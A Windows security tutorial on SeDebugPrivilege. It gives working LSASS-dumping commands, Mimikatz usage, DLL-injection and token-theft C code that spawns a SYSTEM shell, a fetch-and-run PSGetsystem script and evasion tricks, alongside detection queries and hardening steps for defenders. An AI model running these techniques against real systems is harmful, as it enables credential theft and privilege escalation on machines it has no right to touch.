Skip to Content
SeDebugPrivilege exploitation showing LSASS memory dumping and credential extraction

SeDebugPrivilege Exploitation

Abusing SeDebugPrivilege on Windows. LSASS dumping, process injection, token theft and escalation to SYSTEM, with detection and hardening.

Jan 12, 2026
Updated Nov 22, 2026
24 min read

Overview

SeDebugPrivilege lets a user open and manipulate any process on the system, including processes running as SYSTEM.

Near-SYSTEM access

An account with SeDebugPrivilege is one step from SYSTEM. It can read the memory of any process, inject code into privileged processes and spawn a SYSTEM shell with little effort.

What SeDebugPrivilege is

SeDebugPrivilege is the "Debug programs" user right. It lets an account debug programs and open process memory that would otherwise be protected. It is assigned in Group Policy under:

  • Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment

By default only the Administrators group holds it. Non-admin accounts end up with it through misconfiguration, usually for one of these reasons:

  • developers were given it to debug applications and system components
  • a service account was set up with debug rights it did not need
  • support staff were given it to run diagnostic tools
  • a broad GPO assigned it without anyone weighing the risk

The security model

Normal process isolation

Without the privilege, Windows keeps processes apart:

  1. Each process operates within its own virtual address space
  2. Memory is protected by Access Control Lists (ACLs)
  3. Cross-process memory access requires specific permissions
  4. Security descriptors control what operations are allowed

What the privilege bypasses

SeDebugPrivilege skips the security descriptor check when opening a process, so the holder can:

  • read and write any process's memory
  • duplicate handles out of privileged processes
  • inject code into high-privilege processes
  • open and modify process tokens

Why it exists

The right exists for kernel debugging, crash dump analysis, troubleshooting and system component development. Admins do need it sometimes, which is why it has to be tightly controlled.

Exploitation techniques

Enumeration

Step 1: Check current privileges

Check whether the current token has SeDebugPrivilege:

whoami /priv

Example output showing SeDebugPrivilege:

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeDebugPrivilege              Debug programs                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Disabled vs enabled

A privilege listed as Disabled can be enabled by the process itself. What matters is whether it is listed at all. If it is there, you can use it.

Step 2: Identify target processes

Find high-value processes running as SYSTEM or another privileged account:

# List all processes with their usernames
Get-Process -IncludeUserName | Where-Object {$_.UserName -like "*SYSTEM*"} | Select-Object ProcessName, Id, UserName

# Alternative using tasklist
tasklist /v /fi "USERNAME eq NT AUTHORITY\SYSTEM"

Usual targets:

  • lsass.exe, the Local Security Authority Subsystem Service (credentials, tokens)
  • winlogon.exe, the logon process (runs as SYSTEM)
  • services.exe, the Service Control Manager
  • wininit.exe, the Windows initialization process
  • csrss.exe, the Client/Server Runtime Subsystem

Step 3: Verify access

Check that you can open the target process:

# Attempt to read process memory
$proc = Get-Process lsass
$proc.Handle

Memory dumping

The most common use of SeDebugPrivilege is dumping LSASS memory and pulling credentials out of it offline.

Why LSASS

lsass.exe (Local Security Authority Subsystem Service) enforces security policy, handles authentication, creates access tokens and processes password changes. What matters to an attacker is that it keeps credentials in memory: NTLM hashes, Kerberos tickets and, in some configurations, plaintext passwords.

ProcDump is a Sysinternals command-line tool for writing process memory dumps.

# Download ProcDump from Microsoft
# https://docs.microsoft.com/en-us/sysinternals/downloads/procdump

# Create a memory dump of LSASS
procdump.exe -accepteula -ma lsass.exe lsass.dmp

Why use it:

  • It is a signed Microsoft tool, so it is less likely to be flagged than Mimikatz.
  • It is stable.
  • It writes a full memory dump.

Example output:

ProcDump v10.0 - Sysinternals process dump utility
Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com

[15:25:45] Dump 1 initiated: C:\Temp\lsass.dmp
[15:25:45] Dump 1 writing: Estimated dump file size is 42 MB.
[15:25:45] Dump 1 complete: 43 MB written in 0.5 seconds
[15:25:46] Dump count reached.

Extracting credentials from memory dumps

Load the dump into Mimikatz offline:

# Start Mimikatz
mimikatz.exe

# Enable logging (highly recommended)
mimikatz # log

# Load the minidump
mimikatz # sekurlsa::minidump C:\Temp\lsass.dmp

# Extract logon passwords
mimikatz # sekurlsa::logonpasswords

Example output:

Authentication Id : 0 ; 23026942 (00000000:015f5cfe)
Session           : RemoteInteractive from 2
User Name         : administrator
Domain            : CORP
Logon Server      : DC01
Logon Time        : 1/12/2026 2:59:52 PM
SID               : S-1-5-21-3769161915-3336846931-3985975925-500
        msv :
         [00000003] Primary
         * Username : administrator
         * Domain   : CORP
         * NTLM     : e19ccf75ee54e06b06a5907af13cef42
         * SHA1     : 7c7bc2a8e1c3f8b7e90a3f2d8b4c5e6f9a0b1c2d
        tspkg :
        wdigest :
         * Username : administrator
         * Domain   : CORP
         * Password : (null)
        kerberos :
         * Username : administrator
         * Domain   : CORP.LOCAL
         * Password : (null)
        ssp :
        credman :

Using the NTLM hash

The NTLM hash works for pass-the-hash: you can authenticate to other systems without knowing the plaintext password.

Process injection and code execution

SeDebugPrivilege lets you inject code straight into privileged processes, for escalation or persistence.

DLL injection into privileged processes

Open the target process

Use OpenProcess with PROCESS_ALL_ACCESS:

HANDLE hProcess = OpenProcess(
    PROCESS_ALL_ACCESS,
    FALSE,
    targetPID
);

Allocate Memory

Allocate memory in the target process for the DLL path:

LPVOID pDllPath = VirtualAllocEx(
    hProcess,
    NULL,
    strlen(dllPath) + 1,
    MEM_COMMIT | MEM_RESERVE,
    PAGE_READWRITE
);

Write the DLL path

Write the DLL path string into the allocated memory:

WriteProcessMemory(
    hProcess,
    pDllPath,
    dllPath,
    strlen(dllPath) + 1,
    NULL
);

Get the LoadLibraryA address

Retrieve the address of LoadLibraryA from kernel32.dll:

LPVOID pLoadLibrary = (LPVOID)GetProcAddress(
    GetModuleHandle("kernel32.dll"),
    "LoadLibraryA"
);

Create a remote thread

Execute LoadLibraryA in the remote process context:

HANDLE hThread = CreateRemoteThread(
    hProcess,
    NULL,
    0,
    (LPTHREAD_START_ROUTINE)pLoadLibrary,
    pDllPath,
    0,
    NULL
);

Token theft and impersonation

With SeDebugPrivilege you can steal tokens from privileged processes:

#include <windows.h>
#include <stdio.h>

BOOL EnablePrivilege(LPCSTR lpPrivilege) {
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {
        return FALSE;
    }

    if (!LookupPrivilegeValue(NULL, lpPrivilege, &luid)) {
        CloseHandle(hToken);
        return FALSE;
    }

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = luid;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) {
        CloseHandle(hToken);
        return FALSE;
    }

    CloseHandle(hToken);
    return TRUE;
}

int main() {
    // Enable SeDebugPrivilege
    if (!EnablePrivilege(SE_DEBUG_NAME)) {
        printf("[-] Failed to enable SeDebugPrivilege\n");
        return 1;
    }

    printf("[+] SeDebugPrivilege enabled\n");

    // Open SYSTEM process (e.g., winlogon.exe)
    DWORD winlogonPID = 612; // Replace with actual PID
    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, winlogonPID);
    if (!hProcess) {
        printf("[-] Failed to open process\n");
        return 1;
    }

    printf("[+] Opened process handle\n");

    // Open process token
    HANDLE hToken;
    if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
        printf("[-] Failed to open process token\n");
        CloseHandle(hProcess);
        return 1;
    }

    printf("[+] Opened process token\n");

    // Duplicate token
    HANDLE hDupToken;
    if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDupToken)) {
        printf("[-] Failed to duplicate token\n");
        CloseHandle(hToken);
        CloseHandle(hProcess);
        return 1;
    }

    printf("[+] Duplicated token\n");

    // Create process with duplicated token
    STARTUPINFO si = {sizeof(si)};
    PROCESS_INFORMATION pi;

    if (!CreateProcessWithTokenW(hDupToken, 0, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &si, &pi)) {
        printf("[-] Failed to create process with token\n");
        CloseHandle(hDupToken);
        CloseHandle(hToken);
        CloseHandle(hProcess);
        return 1;
    }

    printf("[+] Successfully spawned SYSTEM shell!\n");

    // Cleanup
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
    CloseHandle(hDupToken);
    CloseHandle(hToken);
    CloseHandle(hProcess);

    return 0;
}

PowerShell-based escalation

If compiling code is not an option, PowerShell works too.

PSGetsystem

PSGetsystem uses SeDebugPrivilege to spawn a SYSTEM shell. It starts a new process with a SYSTEM process as its parent, and the new process inherits that parent's token.

Download the script

# Download PSGetsystem
iwr -Uri "https://raw.githubusercontent.com/decoder-it/psgetsystem/master/psgetsys.ps1" -OutFile "psgetsys.ps1"

Load the script

# Import the module
. .\psgetsys.ps1

Identify a SYSTEM process

# Get winlogon PID (runs as SYSTEM)
$pid = (Get-Process winlogon).Id

Run the escalation

# Spawn SYSTEM shell
[MyProcess]::CreateProcessFromParent($pid, "C:\Windows\System32\cmd.exe", "")

Or use the LSASS PID:

# Get LSASS PID and spawn SYSTEM shell in one command
[MyProcess]::CreateProcessFromParent((Get-Process lsass).Id, "powershell.exe", "")

Verification

Check that the new shell runs as SYSTEM:

whoami
# Output: nt authority\system

Other code execution techniques

Parent process spoofing

With SeDebugPrivilege you can start child processes under any parent process, and the child inherits that parent's token:

// Pseudo-code workflow
1. Enable SeDebugPrivilege
2. Open handle to target SYSTEM process
3. Update PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
4. Create process with spoofed parent
5. New process inherits SYSTEM token

Detection that relies on parent-child process relationships sees a plausible parent instead of your shell, which helps when moving laterally.

Thread Context Hijacking

// High-level approach
1. Suspend target thread in privileged process
2. Modify thread context (RIP/EIP register)
3. Point to shellcode location
4. Resume thread execution
5. Shellcode executes in privileged context

Detection and monitoring

Detection for SeDebugPrivilege abuse draws on the Security event log, Sysmon and EDR telemetry.

Event log monitoring

Event ID 4672: special privileges assigned to new logon

Windows logs 4672 when an account logs on and receives sensitive privileges, SeDebugPrivilege included.

Fields to watch:

  • Subject, the account that received the privileges
  • Privileges, which will list SeDebugPrivilege
  • Logon ID, for correlating with other authentication events

Detection logic:

SecurityEvent
| where EventID == 4672
| where PrivilegeList contains "SeDebugPrivilege"
| where AccountName !in ("SYSTEM", "LOCAL SERVICE", "NETWORK SERVICE")
| where AccountName !endswith "$"  // Exclude computer accounts
| project TimeGenerated, Computer, AccountName, LogonID, PrivilegeList

Alert on:

  • non-administrative accounts assigned SeDebugPrivilege
  • service accounts with SeDebugPrivilege outside maintenance windows
  • SeDebugPrivilege combined with unusual logon times

Event ID 4656: a handle to an object was requested

Logged when a process requests a handle to an object, processes included.

For LSASS access:

SecurityEvent
| where EventID == 4656
| where ObjectName contains "lsass.exe"
| where ProcessName !in (
    "C:\\Windows\\System32\\wbem\\WmiPrvSE.exe",
    "C:\\Windows\\System32\\svchost.exe"
)
| where AccessMask in ("0x1410", "0x1fffff")  // query rights plus PROCESS_VM_READ, or PROCESS_ALL_ACCESS
| project TimeGenerated, Computer, SubjectUserName, ProcessName, ObjectName, AccessMask

Strong indicators:

  • non-system processes opening LSASS
  • AccessMask 0x1410 (PROCESS_QUERY_INFORMATION, PROCESS_QUERY_LIMITED_INFORMATION and PROCESS_VM_READ) from user processes
  • several LSASS access attempts in a row

Event ID 4663: an attempt was made to access an object

Records the access itself, after the handle request.

LSASS memory reads:

SecurityEvent
| where EventID == 4663
| where ObjectName contains "lsass.exe"
| where AccessMask contains "0x10"  // PROCESS_VM_READ
| extend ProcessPath = tostring(split(ProcessName, '\\')[-1])
| where ProcessPath !in ("svchost.exe", "csrss.exe", "wininit.exe")

Sysmon event ID 10: process access

Sysmon shows process access in more detail than the Security log.

Sysmon configuration:

<RuleGroup name="ProcessAccess" groupRelation="or">
  <ProcessAccess onmatch="include">
    <TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
  </ProcessAccess>
</RuleGroup>

Detection query:

SysmonEvent
| where EventID == 10
| where TargetImage endswith "\\lsass.exe"
| where GrantedAccess in ("0x1410", "0x1fffff", "0x143a")
| where SourceImage !endswith "\\svchost.exe"
| summarize AccessCount = count(), FirstAccess = min(TimeGenerated), LastAccess = max(TimeGenerated)
    by Computer, SourceImage, SourceUser, GrantedAccess
| where AccessCount > 1 or GrantedAccess == "0x1fffff"

Build an allow-list of processes that legitimately open LSASS:

  • Microsoft Defender (MsMpEng.exe)
  • the SCCM client (CcmExec.exe)
  • backup software
  • EDR agents

Behavioral analytics

EDR behaviour

Modern EDR products look at what a process does around credential dumping instead of relying only on signatures.

Indicators:

  1. Memory access patterns

    • MiniDumpWriteDump calls against LSASS
    • allocation patterns that match credential scraping
    • unusual reads from LSASS memory
  2. Process ancestry anomalies

    • cmd.exe or powershell.exe started by unexpected parents
    • processes with SYSTEM tokens whose parents are not SYSTEM
    • CreateRemoteThread across security boundaries
  3. File system artifacts

    • .dmp files in user-writable directories
    • odd write patterns in temp directories
    • ProcDump or Mimikatz on disk (or in memory)
  4. Network indicators

    • large files leaving from temp directories
    • connections to known credential theft C2 infrastructure
    • SMB lateral movement shortly after credential access

Evasion techniques attackers use

Common methods:

  • direct syscalls to get around user-mode hooks
  • process hollowing into a suspended legitimate process
  • reflective DLL loading without LoadLibrary
  • PPID spoofing so processes appear to have legitimate parents
  • unhooking EDR hooks in process memory
  • living off the land with native Windows binaries (LOLBins)

Example detection bypass:

# Using comsvcs.dll instead of ProcDump
# Appears as rundll32.exe activity (common benign process)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> dump.bin full

Hunting queries

Anomalous SeDebugPrivilege use:

// Hunt for processes enabling SeDebugPrivilege programmatically
SecurityEvent
| where EventID == 4703  // Privilege enabled
| where PrivilegeName == "SeDebugPrivilege"
| where ProcessName !endswith "\\taskmgr.exe"  // Exclude Task Manager
| join kind=inner (
    SecurityEvent
    | where EventID == 4688  // Process creation
    | project NewProcessName, SubjectLogonId, TimeGenerated
) on $left.SubjectLogonId == $right.SubjectLogonId
| where TimeGenerated1 >= TimeGenerated and TimeGenerated1 <= (TimeGenerated + 5m)
| project TimeGenerated, Computer, Account, ProcessName, NewProcessName, CommandLine

Credential access timeline:

// Correlate privilege assignment, LSASS access, and outbound connections
let TimeWindow = 10m;
SecurityEvent
| where EventID == 4672 and PrivilegeList contains "SeDebugPrivilege"
| project AssignTime=TimeGenerated, Computer, User=SubjectUserName, LogonId=SubjectLogonId
| join kind=inner (
    SecurityEvent
    | where EventID == 4656 and ObjectName contains "lsass.exe"
    | project AccessTime=TimeGenerated, Computer, LogonId=SubjectLogonId
) on Computer, LogonId
| where AccessTime between (AssignTime .. (AssignTime + TimeWindow))
| join kind=inner (
    NetworkConnectionEvents
    | where RemotePort in (445, 3389, 5985)  // SMB, RDP, WinRM
    | project ConnTime=TimeGenerated, Computer, DestIP=RemoteIP, DestPort=RemotePort
) on Computer
| where ConnTime between (AccessTime .. (AccessTime + TimeWindow))
| project User, Computer, AssignTime, AccessTime, ConnTime, DestIP, DestPort

Mitigation and hardening

Least privilege

Audit current assignments

List every user and group holding SeDebugPrivilege:

# Local Security Policy
secedit /export /areas USER_RIGHTS /cfg C:\Temp\secedit_export.txt
Get-Content C:\Temp\secedit_export.txt | Select-String "SeDebugPrivilege"

# Group Policy Results
gpresult /h C:\Temp\gpreport.html
# Review the report for SeDebugPrivilege assignments

Restrict the assignment

Set the Debug programs right in Group Policy at Computer Configuration → Windows Settings → Security Settings → Local Policies → User Rights Assignment → Debug programs. Limit it to the Administrators group, or remove every assignment if nobody needs it.

Set up break-glass access

Where debug access is needed:

  1. Create a dedicated security group (e.g., "Debug_Admins")
  2. Grant SeDebugPrivilege only to this group
  3. Enable Just-In-Time (JIT) access with approval workflows
  4. Implement time-limited assignments (e.g., 4-hour windows)
  5. Require multi-factor authentication for group membership changes

Document each assignment

For each SeDebugPrivilege assignment, record the business reason, the accepted risk, the compensating controls and the review schedule.

Credential Guard

Windows Credential Guard protects credentials by isolating them in a virtualization-based security (VBS) environment.

How it limits SeDebugPrivilege abuse:

  • LSASS secrets live in the isolated LSA process (lsaiso.exe).
  • SeDebugPrivilege does not reach that isolated memory.
  • Kerberos tickets and NTLM hashes cannot be dumped from LSASS.

Enable Credential Guard:

# Via Group Policy
# Path: Computer Configuration > Administrative Templates > System > Device Guard
# Setting: Turn On Virtualization Based Security
# Enable: Credential Guard = Enabled with UEFI lock

# Via Registry (requires reboot)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v LsaCfgFlags /t REG_DWORD /d 1 /f

# Verify Credential Guard status
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard

Requirements

Credential Guard requires:

  • Windows 10 Enterprise or Windows Server 2016+
  • UEFI firmware with Secure Boot
  • Virtualization extensions (Intel VT-x or AMD-V)
  • TPM 1.2 or 2.0
  • HVCI (Hypervisor-protected Code Integrity) capable hardware

Restricted Admin mode for RDP

Restricted Admin mode keeps credentials off the remote host during RDP sessions:

# Enable Restricted Admin Mode
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f

# Connect using Restricted Admin
mstsc.exe /restrictedAdmin

Effect:

  • Credentials are not cached on the remote system, so there is less in its LSASS to dump.
  • The trade-off: an RDP server that accepts Restricted Admin logons also accepts an NTLM hash, so pass-the-hash over RDP becomes possible.

Run LSASS as a protected process (PPL)

Turn on RunAsPPL so LSASS runs as a Protected Process Light:

# Enable LSASS PPL protection
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f

# Reboot required
Restart-Computer

Effect:

  • LSASS runs as a protected process.
  • SeDebugPrivilege alone no longer gets you a handle to LSASS that can read its memory.
  • Most dumping techniques fail.

Limitations:

  • Kernel-mode exploits, such as a vulnerable driver, can still bypass it.
  • Some legitimate software breaks, so test it in your environment first.

Application Control

Use AppLocker or Windows Defender Application Control (WDAC) to block credential dumping tools:

<!-- AppLocker Rule Example: Block ProcDump -->
<FilePublisherRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="Block Sysinternals ProcDump" Description="Prevent execution of ProcDump" UserOrGroupSid="S-1-1-0" Action="Deny">
  <Conditions>
    <FilePublisherCondition PublisherName="O=MICROSOFT CORPORATION, L=REDMOND, S=WASHINGTON, C=US" ProductName="SYSINTERNALS PROCDUMP" BinaryName="*">
      <BinaryVersionRange LowSection="*" HighSection="*" />
    </FilePublisherCondition>
  </Conditions>
</FilePublisherRule>

Other controls:

  • block common dumping tools (Mimikatz, ProcDump and so on)
  • restrict the PowerShell execution policy
  • put PowerShell in Constrained Language Mode
  • allow-list approved debugging tools

Attack Surface Reduction (ASR) rules

Two Microsoft Defender ASR rules apply here:

# Block credential stealing from LSASS
Add-MpPreference -AttackSurfaceReductionRules_Ids 9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2 -AttackSurfaceReductionRules_Actions Enabled

# Block process creations from PSExec and WMI
Add-MpPreference -AttackSurfaceReductionRules_Ids d1e49aac-8f56-4280-b9ba-993a6d77406c -AttackSurfaceReductionRules_Actions Enabled

Defense checklist

  • Audit all accounts with SeDebugPrivilege
  • Remove unnecessary privilege assignments
  • Enable Credential Guard on all compatible systems
  • Configure LSASS RunAsPPL protection
  • Implement Event ID 4672, 4656, and Sysmon Event ID 10 monitoring
  • Deploy Attack Surface Reduction (ASR) rules
  • Create behavioral detection rules for credential access
  • Establish incident response playbook for credential dumping
  • Conduct regular threat hunting for LSASS access
  • Test detection capabilities with authorized red team exercises

Example attack scenarios

Scenario 1: developer workstation compromise

Initial Access

The attacker gets code execution on a developer workstation through a phishing email with a malicious macro.

Enumeration

The developer account turns out to have SeDebugPrivilege, granted for debugging production issues.

Credential Dumping

LSASS is dumped with comsvcs.dll, no tools uploaded:

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump 656 C:\Users\Public\dump.bin full

Lateral Movement

A domain admin hash comes out of the dump, and pass-the-hash gets the attacker onto a domain controller.

Impact

One developer workstation leads to full domain compromise.

What would have stopped it:

  • no SeDebugPrivilege for developers on workstations
  • privileged access workstations (PAWs) for administrative work
  • separate development and production credentials
  • Credential Guard on all workstations

Scenario 2: service account abuse

Reconnaissance

A penetration tester reviewing GPO user rights assignments finds a backup service account with SeDebugPrivilege.

Access Obtained

The tester compromises the backup server through an unpatched vulnerability.

Privilege Discovery

The service account context has SeDebugPrivilege enabled.

Escalation

PSGetsystem spawns a SYSTEM shell:

[MyProcess]::CreateProcessFromParent((Get-Process winlogon).Id, "cmd.exe", "")

Persistence

The tester creates a new local administrator account and sets up a backdoor.

What would have stopped it:

  • give service accounts only the privileges they need
  • use group Managed Service Accounts (gMSA) with automatic password rotation
  • monitor for unusual process creation from service accounts
  • monitor privileged sessions

References

MITRE ATT&CK techniques

CWE

Microsoft documentation

Tools

On this page

OverviewWhat SeDebugPrivilege isThe security modelNormal process isolationWhat the privilege bypassesExploitation techniquesEnumerationStep 1: Check current privilegesStep 2: Identify target processesStep 3: Verify accessMemory dumpingWhy LSASSOpen the Details tabLocate the LSASS processCreate the dump fileRetrieve the DumpTransfer it to your attack systemExtracting credentials from memory dumpsProcess injection and code executionDLL injection into privileged processesOpen the target processAllocate MemoryWrite the DLL pathGet the LoadLibraryA addressCreate a remote threadToken theft and impersonationPowerShell-based escalationPSGetsystemDownload the scriptLoad the scriptIdentify a SYSTEM processRun the escalationOther code execution techniquesParent process spoofingThread Context HijackingDetection and monitoringEvent log monitoringEvent ID 4672: special privileges assigned to new logonEvent ID 4656: a handle to an object was requestedEvent ID 4663: an attempt was made to access an objectSysmon event ID 10: process accessBehavioral analyticsEvasion techniques attackers useHunting queriesMitigation and hardeningLeast privilegeAudit current assignmentsRestrict the assignmentSet up break-glass accessDocument each assignmentCredential GuardRestricted Admin mode for RDPRun LSASS as a protected process (PPL)Application ControlAttack Surface Reduction (ASR) rulesDefense checklistExample attack scenariosScenario 1: developer workstation compromiseInitial AccessEnumerationCredential DumpingLateral MovementImpactScenario 2: service account abuseReconnaissanceAccess ObtainedPrivilege DiscoveryEscalationPersistenceReferencesMITRE ATT&CK techniquesCWEMicrosoft documentationTools